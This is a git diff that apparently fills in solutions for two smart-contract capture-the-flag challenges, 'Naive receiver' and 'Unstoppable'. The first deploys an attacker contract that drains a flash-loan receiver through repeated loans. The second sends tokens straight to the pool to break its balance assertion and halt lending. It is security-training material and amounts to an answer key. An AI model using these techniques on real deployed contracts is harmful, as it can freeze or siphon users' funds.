diff --git a/test/naive-receiver/naive-receiver.challenge.js b/test/naive-receiver/naive-receiver.challenge.js index 590538472..7f34640f4 100644 --- a/test/naive-receiver/naive-receiver.challenge.js +++ b/test/naive-receiver/naive-receiver.challenge.js @@ -31,6 +31,13 @@ describe('[Challenge] Naive receiver', function () { it('Exploit', async function () { /** CODE YOUR EXPLOIT HERE */ + const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker); + const attc = await AttackerFactory.deploy(this.pool.address, this.receiver.address); + + const tx = await attc.launch(10); + const rec = await tx.wait(); + expect(rec.status).to.be.equal(1); + // console.log(rec); }); after(async function () { diff --git a/test/unstoppable/unstoppable.challenge.js b/test/unstoppable/unstoppable.challenge.js index 723981300..2140d28c2 100644 --- a/test/unstoppable/unstoppable.challenge.js +++ b/test/unstoppable/unstoppable.challenge.js @@ -40,6 +40,9 @@ describe('[Challenge] Unstoppable', function () { it('Exploit', async function () { /** CODE YOUR EXPLOIT HERE */ + /** the pool got a strange assert, make it failed by sending the pool somme token */ + const tenToken = ethers.utils.parseEther('10'); + await this.token.connect(attacker).transfer(this.pool.address, tenToken); }); after(async function () {